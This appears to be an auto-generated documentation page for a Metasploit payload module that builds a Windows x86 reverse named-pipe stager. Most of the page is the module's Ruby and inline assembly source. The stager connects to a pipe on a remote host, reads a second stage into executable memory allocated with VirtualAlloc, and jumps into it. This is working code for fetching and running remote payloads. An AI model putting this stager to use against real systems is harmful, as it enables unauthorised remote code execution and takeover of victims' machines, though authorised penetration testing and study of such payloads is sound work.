Module: Msf::Payload::Windows::ReverseNamedPipe

Includes:
TransportConfig, Msf::Payload::Windows, BlockApi, Exitfunk, SendUUID
Defined in:
lib/msf/core/payload/windows/reverse_named_pipe.rb

Overview

Complex reverse_named_pipe payload generation for Windows ARCH_X86

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Exitfunk

#asm_exitfunk

Methods included from BlockApi

#asm_block_api

Methods included from SendUUID

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Instance Method Details

#asm_reverse_named_pipe(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (opts):

  • :port (Fixnum) —

    The port to connect to

  • :exitfunk (String) —

    The exit method to use if there is an error, one of process, thread, or seh

  • :reliable (Bool) —

    Whether or not to enable error handling code



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# File 'lib/msf/core/payload/windows/reverse_named_pipe.rb', line 101

def asm_reverse_named_pipe(opts={})

  retry_count    = [opts[:retry_count].to_i, 1].max
  reliable       = opts[:reliable]
  # we have to double-escape because of metasm
  full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"

  asm = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Output: EDI will be the handle for the pipe to the server

    retry_start:
      push #{retry_count}     ; retry counter
      mov esi, esp            ; keep track of where the variables are

    try_reverse_named_pipe:
      ; Start by setting up the call to CreateFile
      xor ebx, ebx            ; EBX will be used for pushing zero
      push ebx                ; hTemplateFile
      push ebx                ; dwFlagsAndAttributes
      push 3                  ; dwCreationDisposition (OPEN_EXISTING)
      push ebx                ; lpSecurityAttributes
      push ebx                ; dwShareMode
      push 0xC0000000         ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE)
      call get_pipe_name
      db "#{full_pipe_name}", 0x00
    get_pipe_name:
                              ; lpFileName (via call)
      push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
      call ebp                ; CreateFileA(...)

      ; If eax is -1, then we had a failure.
      cmp eax, -1             ; -1 means a failure
      jnz connected

    handle_connect_failure:
      ; decrement our attempt count and try again
      dec [esi]
      jnz try_reverse_named_pipe
  ^

  if opts[:exitfunk]
    asm << %Q^
    failure:
      call exitfunk
    ^
  else
    asm << %Q^
    failure:
      push 0x56A2B5F0         ; hardcoded to exitprocess for size
      call ebp
    ^
  end

  asm << %Q^
    ; this label is required so that reconnect attempts include
    ; the UUID stuff if required.
    connected:
      xchg edi, eax           ; edi now has the file handle we'll need in future
  ^

  asm << asm_write_uuid if include_send_uuid

  asm << %Q^
      ; Receive the size of the incoming second stage...
      push ebx                ; buffer for lpNumberOfBytesRead
      mov ecx, esp
      push ebx                ; buffer for lpBuffer
      mov esi, esp
      push ebx                ; lpOverlapped
      push ecx                ; lpNumberOfBytesRead
      push 4                  ; nNumberOfBytesToRead = sizeof( DWORD );
      push esi                ; lpBuffer
      push edi                ; hFile
      push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
      call ebp                ; ReadFile(...) to read the size
  ^

  if reliable
    asm << %Q^
      ; reliability: check to see if the file read worked, retry otherwise
      ; if it fails
      test eax, eax
      jz cleanup_file
      mov eax, [esi+4]        ; check to see if bytes were read
      test eax, eax
      jz cleanup_file
    ^
  end

  asm << %Q^
      ; Alloc a RWX buffer for the second stage
      mov esi, [esi]          ; dereference the pointer to the second stage length
      push 0x40               ; PAGE_EXECUTE_READWRITE
      push 0x1000             ; MEM_COMMIT
      push esi                ; push the newly received second stage length.
      push 0                  ; NULL as we dont care where the allocation is.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call ebp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      ; Receive the second stage and execute it...
      xchg ebx, eax           ; ebx = our new memory address for the new stage
      push ebx                ; push the address of the new stage so we can return into it

    read_more:
      ; prepare the size min(0x10000, esi)
      mov ecx, 0x10000         ; stupid named pipe buffer limit
      cmp ecx, esi
      jle size_is_good
      mov ecx, esi

    size_is_good:
      ; Invoke a read
      push eax                ; space for the number of bytes
      mov eax, esp            ; store the pointer
      push 0                  ; lpOverlapped
      push eax                ; lpNumberOfBytesRead
      push ecx                ; nNumberOfBytesToRead
      push ebx                ; lpBuffer
      push edi                ; hFile
      push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
      call ebp                ; ReadFile(...) to read the data
  ^

  if reliable
    asm << %Q^
      ; reliability: check to see if the recv worked, and reconnect
      ; if it fails
      cmp eax, 0
      jz read_failed
      pop eax                 ; get the number of bytes read
      cmp eax, 0
      jnz read_successful

    read_failed:
      ; something failed, free up memory
      pop eax                 ; get the address of the payload
      push 0x4000             ; dwFreeType (MEM_DECOMMIT)
      push 0                  ; dwSize
      push eax                ; lpAddress
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
      call ebp                ; VirtualFree(payload, 0, MEM_DECOMMIT)
      ; restore the stack (one more pop after 2nd ReadFile call)
      pop esi

    cleanup_file:
      ; clear up the named pipe handle
      push edi                ; named pipe handle
      push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
      call ebp                ; CloseHandle(...)

      ; restore the stack back to the connection retry count
      pop esi
      pop esi
      dec [esp]               ; decrement the counter

      ; try again
      jmp try_reverse_named_pipe
    ^
  else
    asm << %Q^
      pop eax                 ; pop bytes read
    ^
  end

  asm << %Q^
    read_successful:
      add ebx, eax            ; buffer += bytes_received
      sub esi, eax            ; length -= bytes_received, will set flags
      jnz read_more           ; continue if we have more to read
      ret                     ; return into the second stage
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#generate(_opts = {}) ⇒ Object

Generate the first stage



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# File 'lib/msf/core/payload/windows/reverse_named_pipe.rb', line 29

def generate(_opts = {})
  conf = {
    name:        datastore['PIPENAME'],
    host:        datastore['PIPEHOST'] || '.',
    retry_count: datastore['ReverseConnectRetries'],
    reliable:    false
  }

  # Generate the advanced stager if we have space
  if self.available_space && cached_size && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_reverse_named_pipe(conf)
end

#generate_reverse_named_pipe(opts = {}) ⇒ Object

Generate and compile the stager



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# File 'lib/msf/core/payload/windows/reverse_named_pipe.rb', line 61

def generate_reverse_named_pipe(opts={})
  combined_asm = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop ebp
    #{asm_reverse_named_pipe(opts)}
  ^

  #"\xCC" + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
  Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end

#include_send_uuid ⇒ Object

By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.



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# File 'lib/msf/core/payload/windows/reverse_named_pipe.rb', line 50

def include_send_uuid
  false
end

#initialize(*args) ⇒ Object

Register reverse_named_pipe specific options



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# File 'lib/msf/core/payload/windows/reverse_named_pipe.rb', line 22

def initialize(*args)
  super
end

#required_space ⇒ Object

Determine the maximum amount of space required for the features requested



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# File 'lib/msf/core/payload/windows/reverse_named_pipe.rb', line 78

def required_space
  # Start with our cached default generated size
  space = cached_size

  # EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
  space += 29

  # Reliability adds some bytes!
  space += 44

  space += uuid_required_size if include_send_uuid

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/windows/reverse_named_pipe.rb', line 54

def transport_config(opts={})
  transport_config_reverse_named_pipe(opts)
end